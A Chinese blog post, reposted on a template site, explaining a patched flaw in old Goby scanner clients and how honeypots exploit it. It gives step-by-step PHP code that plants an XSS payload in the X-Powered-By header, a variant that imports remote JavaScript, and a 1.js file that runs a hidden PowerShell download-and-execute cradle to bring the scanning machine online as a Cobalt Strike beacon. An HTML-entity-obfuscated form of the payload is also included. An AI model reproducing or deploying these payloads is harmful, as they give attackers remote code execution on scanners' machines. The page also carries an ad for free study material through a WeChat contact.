关于Goby反制上线CS中的各种问题

这篇具有很好参考价值的文章主要介绍了关于Goby反制上线CS中的各种问题。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

Goby作为新一代网络安全技术,通过为目标建立完整的资产数据库,实现快速的安全应急,日常为广大师傅提供了便捷的渗透体验。最近有观察到有关于某些蜜罐出现了Goby反制的指纹,顿时就起了兴趣进行研究Goby的反制,期间也遇到了很多网上没有答案的坑点,这里把遇到的问题和关键点给师傅们列举出来,希望师傅们能了解到反制的整个流程,在攻防中也不要被反制。

原理

据Goby官方解释,这实际上是一个非常久远的历史漏洞,最早的纰漏的时间是在2021年10月,当月漏洞就已修复并发布新版本。至于漏洞为何存在,得追溯到Goby的组件识别能力,Goby是使用Electron构建的客户端软件,在Goby的资产界面中,扫描结果里会展示所有符合指纹识别规则的组件名称,比如PHP、IIS等,而Goby为了更为精准的组件识别,Goby会从返回的数据报文中提取版本信息(例如X-Powered-By中),并在资产界面进行渲染展示,在旧版本的Goby中并未对版本信息做无害化处理,从而导致漏洞产生。

X-Powered-By

X-Powered-By 是 HTTP 头中的一个字段,主要用于表示网站所使用的服务器、编程语言或框架等信息。例如对于Apache中间件的网站默认会包含X-Powered-By,其中包含一些banner(如PHP/5.3.29),Goby则是收集这些banner来识别组件信息的

我们也可以自定义一个X-Powered-By 头来干扰Goby进行指纹识别,例如在代码中加入

<?php
header("X-Powered-By: yuzi");
?>

当我们我们再次发包查看会发现X-Powered-By: yuzi

而对于Nginx中间件的网站默认不会包含X-Powered-By,需要自己构造X-Powered-By才显示,对比Apache中间件网站会安全一些

对于其他中间件来说

Tomcat:默认添加,例如 X-Powered-By: Servlet/3.0

IIS:默认添加,例如 X-Powered-By: http://ASP.NET

Jetty:默认添加,例如 X-Powered-By: Jetty

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

反制复现

环境准备:

注:受到反制影响的Goby版本应 < 2.0.0

Goby历史版本下载:https://gobysec.net/updates?v=15#Beta(1.9.325)%E2%80%A2Feb16,2022

 

Nginx环境复现

在网站根目录下对网站的首页(index.php)添加带payload的X-Powered-By段

<?php
header("X-Powered-By: PHP/5.3.29    <img\tsrc=1\tonerror=alert(/helloworld/)>");
?>
//语句中的/t不能用空格进行替代可以用tab键代替,且所有的空格处应该为tab键
//标签内语句中若存在双引号则要反斜杠(\)对其进行转义,如<img\tsrc=\"x\"\tonerror=\"alert(/helloworld/);\">
//若数字在弹窗内容中则无需在两边加斜杠(/),如<img\tsrc=1\tonerror=\"alert(1);\">

此时,红队在利用Goby对该蓝队主机进行扫描,扫描完后红队会自然而然地点击IP处进行查看当前的扫描结果

当红队进入IP的资产页面后,页面会优先显示蓝队主机网站的首页的指纹信息,此时我们在首页构造的X-Powered-By被Goby识别且没有做识别过滤,因此会在Goby资产页面显示并且payload会被执行

在Goby识别指纹的时候,把恶意语句识别进去了,在PHP指纹界面上可以很清楚的看到蓝队在首页的payload,但是Goby在该页面上并不会触发payload,只有从主页中点击进入IP详情界面,才会触发payload

由于Goby使用Electron构建客户端软件,Electron用的是node.js,并且node.js能执行系统命令,故可以把危害放大化直接反制上线蓝队CS,将主页的payload更改为远程加载JS文件来执行命令

<?php
header("X-Powered-By: PHP/5.3.29    <img\tsrc=1\tonerror=import(unescape('http%3A//192.168.108.164/1.js'))>");
?>
//URL中的:需要用%3A表示,unescape()会复原URL

构造主页payload中需要远程加载的恶意JS文件1.js

(function(){
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.164:100/a\'))"');
})();
//exec()内可以执行任意的系统命令例如exec('calc.exe');弹出计算机,这里通过CS的powershell命令执行进行上线
//若需要执行上线CS的命令的时,要用反斜杠(\)要把单引号转义一下,其他命令不用

在开始之前,由于刚刚Goby演示的扫描结果存在缓存,故正式开始之前应该先退出Goby,重新打开并新建扫描刚刚第一次的步骤来触发更改后的payload

为了反制时候达到隐匿效果,通常蜜罐会将payload进行HTML实体编码如

<?php
header("X-Powered-By: PHP/5.3.29    <img    src=1   onerror=&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x28;&#x75;&#x6e;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x25;&#x33;&#x41;&#x2f;&#x2f;&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x31;&#x30;&#x38;&#x2e;&#x31;&#x36;&#x34;&#x2f;&#x31;&#x2e;&#x6a;&#x73;&#x27;&#x29;&#x29;&#xa;>");
?>
//标签不能编码

到这里,Nginx中间件的网站算是复现成功,但是还没结束,因为Apache等中间件会默认会包含X-Powered-By,这对Goby来说是不利于识别我们在X-Powered-By构造payload的,因此许多师傅只能在Nginx环境下复现成功,其实Apache环境也是可以复现成功的

 

 

Apache环境复现

为了让我们构造的X-Powered-By不和Apache自身默认的X-Powered-By造成冲突,我们需要在Apache中禁用默认的X-Powered-By。我们打开Apache的配置文件httpd.conf,文件中任意空白处添加

ServerTokens Prod
//将ServerTokens设置为Prod将隐藏Apache版本信息和X-Powered-By头

 

添加完后,记得重启Apache服务,按照和Nginx一样的步骤也可以复现成功

最后

此Goby反制虽然是一个已经修复很久的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Goby版本,对应地在公网上也存在很多反制Goby的蜜罐,在攻防演练中也有可能用得上,故做此分析供各位师傅参考。

更多网安技能的在线实操练习,请点击这里>>

  文章来源地址https://www.toymoban.com/news/detail-733886.html

到了这里,关于关于Goby反制上线CS中的各种问题的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 内网渗透-cobaltstrike之cs上线获取shell

    CobaltStrike是一款渗透测试神器,被业界人称为CS神器。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。 CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马

    2024年02月10日
    浏览(47)
  • 工具推荐之不出网环境下上线CS

    前言 在实战攻防演练中,我们经常会遇到目标不出网的情况,即便获取了目标权限也不方便在目标网络进行下一步横向移动。本期我们将会推荐两个常用的代理工具,使我们能在不出网的环境下让目标上线到CS,方便后渗透的工作。 工具1:DReverseServer 工具链接: https://gith

    2024年02月14日
    浏览(42)
  • 【内网安全-CS】Cobalt Strike启动运行&上线方法&插件

      博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。 擅长:对

    2023年04月08日
    浏览(35)
  • CS_Smb_Beacon上线不出网机器

    当我们想上线不出网的机器的时候,我们可以通过上传工具来实现, 但是有没有不用上传工具的方法呢 ??? 有!!! 而且cs会自带!!!    以下就是今天的实验拓扑 Beacon 是 Cobalt Strike 中的 一个组件 ,它是一个 轻量级的恶意软件代理 , 用于与攻击者的控制服务器通信

    2024年02月22日
    浏览(38)
  • 内网安全-代理Socks协议&CS-MSF控制上线

    目录 实验前提 实验环境 实验目标 环境部署 实验1 msf通信win10的56网段与正向连接  msf通信win10 msf上线win10 实验2 cs通信win10的56网段与正向连接 cs通信win10 cs上线win10   实验环境 本地计算机存在一个36网段可以与win7ping通并且可以上网。 win7存在36和52网段,可以与本地和win10p

    2024年02月16日
    浏览(35)
  • 遮天 | 实战绕过卡巴斯基、Defender上线CS和MSF及动态命令执行...

    #  zTian.red: 绕过卡巴 斯基、360安全卫士、Windows Defender动态执行CS、MSF命令... 测试目标:Windows Defender、卡巴斯基、360安全卫士极速版 系统环境:win10 64位    软件版本:cs4.7破解版、msf社区免费版  流量通信:http与https 测试平台:遮天对抗平台,地址:zTian.red 测试时间:

    2023年04月08日
    浏览(46)
  • 内网隧道代理技术(二十一)之 CS工具自带中转技术上线不出网机器

    如图A区域存在一台中转机器,这台机器可以出网,这种是最常见的情况。我们在渗透测试的过程中经常是拿下一台边缘机器,其有多块网卡,边缘机器可以访问内网机器,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以使用CS工具自带上线不出网机器 网络拓扑

    2024年02月10日
    浏览(31)
  • 内网渗透—代理Socks协议、路由不出网、后渗透通讯、CS-MSF控制上线

      本章主要涉及到的技术就是如何让攻击机通过能够上网的主机当作跳板去连接内网中不能上网的主机,有点绕口。不过通过介绍页能够大概明白是什么意思。   在我们做渗透的时候,通常企业都会设定有些软硬件防火墙,当企业有业务需求的时候会通过防火墙放通地址

    2024年02月05日
    浏览(51)
  • 第124天:内网安全-代理技术&Socks协议&路由不出网&后渗透通讯&CS-MSF上线

    个人理解 1、相当于本来流程是:解决网络通信问题 — 拿到权限 — 进行后门控制,但这里小迪只讲了如何解决网络通信问题和如何进行后门控制,拿到权限属于横向移动的内容后面才讲。 2、在本次实验环境中,Win 7主机有外网出口而其余主机没有,所以我们将Win 7当作跳板

    2024年02月13日
    浏览(40)
  • 关于用windows开发遇到的各种乌龙事件之node版本管理---nvm install node之后 npm 找不到的问题

    开发过程中技术迭代更新的时候最要老命的就是 历史项目的 node 版本没有记录,导致开启旧项目的时候就会报错。尤其是 npm 升级到 8.x.x 以后,各种版本不兼容。 真的,对于一个开发来说,换个mac可以解决百分之八十的开发问题。 能让我抓头发的都是windows来的坑啊!!!!

    2024年01月16日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包